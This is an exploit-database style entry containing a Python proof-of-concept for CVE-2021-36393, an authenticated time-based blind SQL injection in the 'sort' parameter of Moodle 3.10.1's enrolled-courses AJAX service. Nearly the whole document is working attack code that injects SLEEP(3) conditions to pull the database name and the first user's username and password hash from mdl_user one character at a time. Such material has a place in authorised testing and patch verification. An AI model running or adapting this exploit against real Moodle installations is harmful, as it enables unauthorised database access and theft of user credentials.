Moodle 3.10.1 - Authenticated Blind Time-Based SQL Injection - "sort" parameter

# Exploit Title: Moodle Authenticated Time-Based Blind SQL Injection - "sort" Parameter
# Google Dork:
# Date: 04/11/2023
# Exploit Author: Julio Ángel Ferrari (Aka. T0X1Cx)
# Vendor Homepage: https://moodle.org/
# Software Link:
# Version: 3.10.1
# Tested on: Linux
# CVE : CVE-2021-36393

import requests
import string
from termcolor import colored

# Request details
URL = "http://127.0.0.1:8080/moodle/lib/ajax/service.php?sesskey=ZT0E6J0xWe&info=core_course_get_enrolled_courses_by_timeline_classification"
HEADERS = {
    "Accept": "application/json, text/javascript, */*; q=0.01",
    "Content-Type": "application/json",
    "X-Requested-With": "XMLHttpRequest",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36",
    "Origin": "http://127.0.0.1:8080",
    "Referer": "http://127.0.0.1:8080/moodle/my/",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "en-US,en;q=0.9",
    "Cookie": "MoodleSession=5b1rk2pfdpbcq2i5hmmern1os0",
    "Connection": "close"
}

# Characters to test
characters_to_test = string.ascii_lowercase + string.ascii_uppercase + string.digits + "!@#$^&*()-_=+[]{}|;:'\",.<>?/"

def test_character(payload):
    response = requests.post(URL, headers=HEADERS, json=[payload])
    return response.elapsed.total_seconds() >= 3

def extract_value(column, label):
    base_payload = {
        "index": 0,
        "methodname": "core_course_get_enrolled_courses_by_timeline_classification",
        "args": {
            "offset": 0,
            "limit": 0,
            "classification": "all",
            "sort": "",
            "customfieldname": "",
            "customfieldvalue": ""
        }
    }

    result = ""
    for _ in range(50):  # Assumes a maximum of 50 characters for the value
        character_found = False
        for character in characters_to_test:
            if column == "database()":
                base_payload["args"]["sort"] = f"fullname OR (database()) LIKE '{result + character}%' AND SLEEP(3)"
            else:
                base_payload["args"]["sort"] = f"fullname OR (SELECT {column} FROM mdl_user LIMIT 1 OFFSET 0) LIKE '{result + character}%' AND SLEEP(3)"

            if test_character(base_payload):
                result += character
                print(colored(f"{label}: {result}", 'red'), end="\r")
                character_found = True
                break

        if not character_found:
            break

    # Print the final result
    print(colored(f"{label}: {result}", 'red'))

if __name__ == "__main__":
    extract_value("database()", "Database")
    extract_value("username", "Username")
    extract_value("password", "Password")